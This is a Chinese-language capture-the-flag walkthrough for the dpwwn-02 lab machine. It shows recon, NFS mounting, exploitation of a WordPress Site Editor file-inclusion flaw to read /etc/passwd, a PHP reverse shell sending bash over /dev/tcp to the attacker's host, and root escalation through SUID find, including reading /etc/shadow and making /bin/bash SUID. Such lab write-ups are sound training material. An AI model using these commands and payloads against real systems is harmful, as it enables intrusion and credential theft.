dpwwn: 2
easyNo.9
目标: Get the root shell and then obtain flag under /root
描述: Difficulty: Intermediate++ and fun.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
环境配置
出现当前硬件版本不支持设备"sata", 启动失败; 不兼容设备解决办法
靶机的ip固定为10.10.10.10, 你需要自己配置网络环境
- kali: 10.10.10.128
- target: 10.10.10.10
信息收集
nmap
nmap -sS 10.10.10.0/24
nmap -A 10.10.10.10
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
443/tcp open https
2049/tcp open nfs访问网页
Welcome Mate : dpwwn-02 GOAL IS SIMPLE : OBTAIN: # shell like root@dpwwn-02:~#目录扫描, 发现存在wordpress
dirsearch -u http://10.10.10.10
[04:32:48] 200 - 5KB - /wordpress/
[04:32:48] 200 - 1KB - /wordpress/wp-login.php用wpscan扫扫看看有没有东西
# 有用户admin
wpscan --url http://10.10.10.10/wordpress -e u
# 尝试爆破, 但是跑了好久没跑出来, 于是放弃
wpscan --url http://10.10.10.10/wordpress -U admin -P /usr/share/wordlists/rockyou.txt再来试试rpc和nfs, 发现没有东西, 也是失败了
# /home/dpwwn02 (everyone)
showmount -e 10.10.10.10
# 挂载了但是没东西啊
mkdir /tmp/dpwwn2
chmod 777 dpwwn2
mount -t nfs 10.10.10.10:/home/dpwwn02 /tmp/dpwwn2
# 取消挂载和强制取消
umount /tmp/dpwwn2
umount -f /tmp/dpwwn2尝试往里面写文件, 发现可以写, 但是不知道那边是否可以被创建

那现在就只有一个80端口的wordpress可以整了, 没有其他东西了
结合之前尝试过的, 知道了用户admin, 但是爆破排除; 那就只能是插件有问题了
虽然详细扫描需要WPScan API Token, 但是知道有什么插件不需要, 扫描得到插件site-editor
wpscan --url http://10.10.10.10/wordpress
不喜欢搜索就用这篇文章, 可以直接获取是什么漏洞
示例图:
搜索可以找到WordPress插件Site Editor本地文件包含漏洞, 即CVE-2018-7422
百度搜索不如google一根, 高级搜索还没别人模糊搜索强, 别用百度
利用方法就是向http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php文件发送ajax_path参数读取任意文件
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
有任意读取, 但是却没有其他信息让我们知道什么地方有什么东西; 想到前面的nfs挂载, 那我们就利用这个确认nfs的那一头是否会受影响(已经创建了1.txt)
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/1.txt
证明可以成功创建, 那么就可以反弹shell了
getshell
新建一个php文件然后用vim编辑:
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/6666 0>&1"');?>然后开始监听对应端口, 尝试包含文件, 成功包含
# kali
nc -lvnp 6666
# url
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/shell.php
信息收集
现在我们要进行第二步, 拿到root下的flag
# 系统信息 Linux dpwwn-02 5.0.0-23-generic #24-Ubuntu SMP Mon Jul 29 15:36:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
uname -a
# 内核版本 5.0.0-23-generic, 太高了
uname -r
# 查看环境
python -h
nc -h
gcc -v
# 查看权限, 无
sudo -l
# 查看特权文件, find有权限
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 看看计划任务, 发现权限还是www-data
cat /etc/crontab提权
find提权立刻结束, 然后找到/root目录下的flag文件
find . -exec /bin/sh -p \; -quit
附录
不要在根目录下执行
find .会卡非常久, 找个小的吧
靶机为ubuntu系统, 是不允许使用nc的-e参数的, 所以不能直接利用find反弹shell:
# 如果可能的话
find . -exec nc -lvnp 6666 -e /bin/sh \';
# 原理为利用-exec参数执行命令(本身是root权限)
find . -exec cat /etc /etc/shadow \;既然可以以root权限执行命令, 那就可以给/bin/bash赋权然后利用-p参数获取root
find . -exec chmod u+s /bin/bash \;
bash -p
你问我为什么没有提权就是bash-5.0, 因为我之前在根目录执行了
find ., 然后卡死了, 虽然执行完了但是得重新连接
